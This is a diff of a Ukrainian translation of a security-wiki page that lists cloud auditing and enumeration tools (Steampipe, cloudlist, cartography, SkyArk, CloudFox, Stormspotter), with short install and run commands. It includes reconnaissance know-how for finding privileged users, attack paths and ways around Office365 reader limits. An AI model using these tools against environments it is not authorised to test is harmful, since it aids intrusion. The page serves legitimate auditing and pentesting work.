-<summary>Перевірити всі проекти</summary>
+<summary>Перевірити всі проєкти</summary>
 
-Щоб перевірити всі проекти, потрібно згенерувати файл `gcp.spc`, що вказує всі проекти для тестування. Ви можете просто слідувати вказівкам з наступного скрипту
+Щоб перевірити всі проєкти, потрібно згенерувати файл `gcp.spc`, який вказує всі проєкти для тестування. Ви можете просто слідувати вказівкам зі скрипта нижче
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,9 +194,9 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Щоб переглянути **інші GCP insights** (корисно для перерахування сервісів) використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Щоб перевірити **інші GCP інсайти** (корисно для перерахування сервісів) використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-Щоб переглянути Terraform GCP код: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Щоб перевірити Terraform GCP код: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
 Більше GCP плагінів для Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Щоб перевірити код Terraform для AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-Більше AWS-плагінів для Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Потребує python2.7 і виглядає непідтримуваним.
+Потребує python2.7 і не підтримується.
 
 ### Nessus
 
-Nessus має скан _**Audit Cloud Infrastructure**_, який підтримує: AWS, Azure, Office 365, Rackspace, Salesforce. Для отримання **Client Id** потрібні додаткові налаштування в **Azure**.
+Nessus має скан _**Audit Cloud Infrastructure**_, який підтримує: AWS, Azure, Office 365, Rackspace, Salesforce. Для отримання **Client Id** у **Azure** потрібні додаткові налаштування.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist — це **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
+Cloudlist — це **multi-cloud інструмент для отримання Assets** (Hostnames, IP Addresses) з хмарних провайдерів.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography — це інструмент на Python, який консолідує інфраструктурні активи та зв’язки між ними у зручному графовому поданні на основі Neo4j database.
+Cartography — це інструмент на Python, який консолідує інфраструктурні активи та зв'язки між ними в інтуїтивному графовому поданні на базі Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase збирає активи та зв'язки зі служб і систем, включаючи хмарну інфраструктуру, SaaS applications, контролі безпеки та інше, у зручне графове представлення, яке підтримується базою даних Neo4j.
+Starbase збирає активи та зв'язки з сервісів і систем, включно з cloud infrastructure, SaaS applications, security controls та ін., у зручне графове подання на базі Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Виявляє найбільш привілейованих користувачів у просканованому середовищі AWS або Azure, включно з AWS Shadow Admins. Використовує powershell.
+Виявляє найбільш привілейованих користувачів у просканованому середовищі AWS або Azure, включаючи AWS Shadow Admins. Використовує powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,13 +372,13 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Інструмент для пошуку інфраструктури компанії (цілі), файлів та застосунків у провідних хмарних провайдерів (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Інструмент для пошуку інфраструктури компанії (target), файлів та додатків у провідних хмарних провайдерів (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox — інструмент для виявлення exploitable attack paths у хмарній інфраструктурі (наразі підтримуються лише AWS & Azure, підтримка GCP у планах).
-- Це інструмент для enumeration, який призначений доповнювати ручне pentesting.
-- Він не створює і не змінює жодних даних у хмарному середовищі.
+- CloudFox — інструмент для пошуку exploitable attack paths у хмарній інфраструктурі (поки що підтримуються тільки AWS & Azure, GCP незабаром).
+- Це enumeration tool, призначений доповнювати manual pentesting.
+- Він не створює і не змінює жодні дані в cloud environment.
 
 ### More lists of cloud security tools
 
@@ -412,11 +412,11 @@ azure-security/
 
 ### Attack Graph
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter) створює «attack graph» ресурсів в підписці Azure. Він дозволяє red teams і pentesters візуалізувати attack surface та можливості для pivot у межах tenant і значно допомагає вашим захисникам швидко орієнтуватися та розставляти пріоритети в роботі з incident response.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) створює “attack graph” ресурсів в Azure subscription. Воно дозволяє red teams і pentesters візуалізувати attack surface і pivot opportunities в межах tenant, а також посилює ваших defenders, дозволяючи їм швидко зорієнтуватися та пріоритезувати incident response роботу.
 
 ### Office365
 
-Потрібен **Global Admin** або принаймні **Global Admin Reader** (зауважте, що **Global Admin Reader** трохи обмежений). Однак ці обмеження проявляються в деяких PS-модулях і можуть бути обійдені шляхом доступу до функцій **через вебзастосунок**.
+Для цього потрібен **Global Admin** або принаймні **Global Admin Reader** (зверніть увагу, що Global Admin Reader дещо обмежений). Однак ці обмеження з'являються в деяких PS modules і їх можна обійти, отримуючи доступ до функцій **via the web application**.
 
 
 {{#include ../banners/hacktricks-training.md}}